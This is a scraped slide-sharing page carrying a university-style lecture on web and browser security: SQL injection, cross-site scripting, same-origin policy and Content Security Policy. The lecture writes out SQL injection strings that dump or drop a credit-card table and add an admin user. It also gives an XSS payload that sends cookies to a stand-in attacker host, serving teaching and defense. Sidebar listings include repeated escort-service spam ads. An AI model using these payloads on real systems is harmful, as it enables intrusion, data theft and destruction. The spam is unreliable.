08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 

Recently uploaded (20)

How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Snow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter RoadsSnow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter Roads
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food Manufacturing
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 

20111204 web security_livshits_lecture01

  • 1. WEB AND BROWSER SECURITY Ben Livshits, Microsoft Research
  • 2. Web Application Vulnerabilities & Defenses 2  Server-side woes  Static client-side  SQL injection analysis  XSS overview  Runtime client analysis and enforcement  Browser mechanisms:  Same origin policy  Cross-domain request  Server-side static and  Content security policy runtime analysis  XSS filters on the client
  • 3. Web Application Scenario 3 HTTP REQUEST HTTP RESPONSE client server
  • 4. Vulnerability Stats: Web Vulnerabilities Are Dominating 25 20 15 10 5 0 2001 2002 2003 2004 2005 2006 Web (XSS) Buffer Overflow Source: MITRE CVE trends
  • 5. Reported Web Vulnerabilities "In the Wild" Data from aggregator and validator of NVD-reported vulnerabilities
  • 6. Drilling Down A Bit… 6 The most common published vulnerabilities on Web applications detailed in the report continue to be Cross Site Scripting (XSS) and SQL Injection vulnerabilities, which account for 28 percent and 20 percent of all Web attacks, respectively Cenzic vulnerability trend report
  • 7. 7 SQL Injection and XSS
  • 8. And So It Begins… 8 Source: http://xkcd.com/327/
  • 9. SQL Injection Attacks 9  Attacks a particular site, not (usually) a particular user  Affect applications that use untrusted input as part of an SQL query to a back-end database  Specific case of a more general problem: using untrusted input in commands
  • 10. SQL Injection: Example 10  Consider a browser form, e.g.:  When the user enters a number and clicks the button, this generates an http request like https://www.pizza.com/show_orders?month=10
  • 11. Example Continued… 11  Upon receiving the request, a Java program might produce an SQL query as follows: sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND order_month= " + request.getParameter("month");  A normal query would look like: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10
  • 12. Example Continued… 12  What if the user makes a modified http request: https://www.pizza.com/show_orders?month=0%20OR%201%3D1  (Parameters transferred in URL-encoded form, where meta-characters are encoded in ASCII)  This has the effect of setting request.getParameter(“month”) equal to the string 0 OR 1=1
  • 13. Example Continued 13  So the script generates the following SQL query: SELECT pizza, quantity, order_day FROM orders WHERE(userid=4123 ) AND order_month=0 OR 1=1  Since AND takes precedence over OR, the above always evaluates to TRUE  The attacker gets every entry in the database!
  • 14. Even Worse… 14  Craft an http request that generates an SQL query like the following: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=0 UNION SELECT cardholder, number, exp_date FROM creditcards  Attacker gets the entire credit card database as well!
  • 15. More Damage… 15  SQL queries can encode multiple commands, separated by ‘;’  Craft an http request that generates an SQL query like the following: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; DROP TABLE creditcards  Credit card table deleted!  DoS attack
  • 16. More Damage… 16  Craft an http request that generates an SQL query like the following: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; INSERT INTO admin VALUES (‘hacker’, ...)  User (with chosen password) entered as an administrator!  Database owned!
  • 17. May Need to be More Clever… 17  Consider the following script for text queries: sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + request.getParameter(“topping") + “’”  Previous attacks will not work directly, since the commands will be quoted  But easy to deal with this…
  • 18. Example Continued… 18  Craft an http request where request.getParameter(“topping”) is set to abc’; DROP TABLE creditcards; --  The effect is to generate the SQL query: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND toppings=‘abc’; DROP TABLE creditcards ; --’  (‘--’ represents an SQL comment)
  • 19. Mitigation? Solutions? 19  Blacklisting  Whitelisting  Encoding routines  Prepared statements/bind variables  Mitigate the impact of SQL injection
  • 20. Blacklisting? 20  I.e., searching for/preventing ‘bad’ inputs  E.g., for previous example: sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + kill_chars(request.getParameter(“topping")) + “’”  …where kill_chars() deletes, e.g., quotes and semicolons
  • 21. Drawbacks of Blacklisting 21  How do you know if/when you’ve eliminated all possible ‘bad’ strings?  If you miss one, could allow successful attack  Does not prevent first set of attacks (numeric values)  Although similar approach could be used, starts to get complex!  May conflict with functionality of the database  E.g., user with name O’Brien
  • 22. Whitelisting 22  Check that user-provided input is in some set of values known to be safe  E.g., check that month is an integer in the right range  If invalid input detected, better to reject it than to try to fix it  Fixes may introduce vulnerabilities  Principle of fail-safe defaults
  • 23. Prepared Statements/bind Variables 23  Prepared statements: static queries with bind variables  Variables not involved in query parsing  Bind variables: placeholders guaranteed to be data in correct format
  • 24. A SQL Injection Example in Java 24 PreparedStatement ps = db.prepareStatement( "SELECT pizza, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParameter("month"))); ResultSet res = ps.executeQuery(); Bind variables
  • 25. SQL Injection in the Real World  CardSystems was a major credit card processing company  Put out of business by a SQL injection attack  Credit card numbers stored unencrypted  Data on 263,000 accounts stolen  43 million identities exposed
  • 26. Web Attacker 3  Controls malicious website (attacker.com)  Can even obtain SSL/TLS certificate for his site  User visits attacker.com – why?  Phishing email  Enticing content  Search results  Placed by ad network  Blind luck …  Attacker has no other access to user machine!
  • 27. Cross-site Scripting 27  If the application is not careful to encode its output data, an attacker can inject script into the output out.writeln(“<div>”); out.writeln(req.getParameter(“name”)); out.writeln(“</div>”);  name: <script>…; xhr.send(document.cookie);</script>
  • 28. XSS: Baby Steps 28 http://example.com/test.php?color=red&background=pink.
  • 29. XSS: Simple Things are Easy 29 http://example.com/test.php?color=green&background= </style><script>document.write(String.fromCharCode(88,83,83))</script>
  • 30. Is It Easy to Get Right? 30
  • 31. XSSED.org: In Search of XSS 31
  • 32. One of the Reports on XSSED 32
  • 35. 2006 Example Vulnerability 1) Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website 2) Injected code redirected PayPal visitors to a page warning users their accounts had been compromised 3) Victims were then redirected to a phishing site and prompted to enter sensitive financial data Source: http://www.acunetix.cz/news/paypal.htm
  • 36. Consequences of XSS 36  Cookie theft: most common  http://host/a.php?variable="><script>document .location='http://www.evil.com/cgi- bin/cookie.cgi? '%20+document.cookie</script>  But also  Setting cookies  Injecting code into running application  Injecting a key logger  etc.
  • 37. XSS Defenses 37  Simple ones  Compare IP address and cookie  Cookie HttpOnly attribute  There’s much more to be covered later
  • 38. Taxonomy of XSS 38  XSS-0: client-side  XSS-1: reflective  XSS-2: persistent
  • 39. Memory Exploits and Web App Vulnerabilities Compared 39  Buffer overruns  Cross-site scripting  Stack-based  XSS-0, -1, -2, -3  Return-to-libc, etc.  Requires careful programming  Heap-based  Static analysis tools  Heap spraying attacks  Requires careful programming or  SQL injection memory-safe languages  Generally, better, more  Don’t always help as in the case restrictive APIs are enough of JavaScript-based spraying  Simple static tools help  Static analysis tools  Format string vulnerabilies  Generally, better, more restrictive APIs are enough  Simple static tools help
  • 40. 40 Intro to Browser Security
  • 41. Rough Analogy with OS Design Operating system Web browser  Primitives  Primitives  System calls  Document object model  Processes  Frames  Files/handles/resources  Cookies / localStorage  Principals: Users  Principals: “Origins”  Vulnerabilities  Vulnerabilities  Buffer overflow  Cross-site scripting  Dangling pointer exception  SQL injection
  • 42. JavaScript Security Model 42  Script runs in a  Gives a degree of “sandbox” isolation  No direct file access, restricted network access  Origin roughly is the  Is that always enough? URL, but not quite  If the same server hosts unrelated sites, scripts  Same-origin policy from one site can access  Code can only access document properties on properties of documents the other and windows from the  Is the origin always same origin representative of content?
  • 43. Same Origin Policy: Rough Description  Same Origin Policy (SOP) for DOM:  Origin A can access origin B’s DOM if match on (scheme, domain, port)  Today: Same Original Policy (SOP) for cookies:  Generally speaking, based on: ([scheme], domain, path) optional scheme://domain:port/path?params
  • 44. Library Import 44  Same-origin policy does not apply to scripts loaded in enclosing frame from arbitrary site <script type="text/javascript"> src="http://www.example.com/scripts/somescript.js"> </script>  This script runs as if it were loaded from the site that provided the page!
  • 45. Interaction with the DOM SOP  Cookie SOP: path separation x.com/A does not see cookies of x.com/B  Not a security measure: DOM SOP: x.com/A has access to DOM of x.com/B <iframe src=“x.com/B"></iframe> alert(frames[0].document.cookie);  Path separation is done for efficiency not security: x.com/A is only sent the cookies it needs
  • 46. Another Hole: Domain Relaxation www.facebook.com chat.facebook.com www.facebook.com facebook.com facebook.com chat.facebook.com www.facebook.com  Can use document.domain = “facebook.com”  Origin: scheme, host, (port), hasSetDomain  Try document.domain = document.domain
  • 47. This is Just the Beginning… 47  Browser Security Handbook  ... DOM access  ... XMLHttpRequest  ... cookies  ... Flash  ... Java  ... Silverlight  ... Gears  Origin inheritance rules
  • 48. XmlHttpRequest 48  XmlHttpRequest is the foundation of AJAX-style application on the web today  Typically:
  • 49. Virtually No Full Compatibility 49 Why is lack of compatibility bad?
  • 50. W3C CSP: Content Security Policy 50  Example 1: A server wants all content to come from its own domain:  X-Content-Security-Policy: default-src 'self‘  Example 2: An auction site wants to allow images from anywhere, plugin content from a list of trusted media providers including a content distribution network, and scripts only from a server under its control hosting sanitized ECMAScript:  X-Content-Security-Policy: default-src 'self'; img-src *;  object-src media1.example.com media2.example.com *.cdn.example.com;  script-src trustedscripts.example.com  Example 3: A site operations group wants to globally deny all third-party scripts in the site, and a particular project team wants to also disallow third-party media in their section of the site. Site operations sends the first header while the project team sends the second header, and the user-agent takes the intersection of the two headers to form the complete interpreted policy:  X-Content-Security-Policy: default-src *; script-src 'self'  X-Content-Security-Policy: default-src *; script-src 'self'; media-src 'self‘  Example 4: Online banking site wants to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:  X-Content-Security-Policy: default-src https://*:443
  • 51. HTML5 Sandbox 51 <iframe src="untrusted.html" sandbox="allow-scripts allow-forms"> </iframe>  allow-scripts  allow-forms  allow-same-origin  allow-top-navigation  ms-allow-popups
  • 52. HTML5 Sandbox in Action 52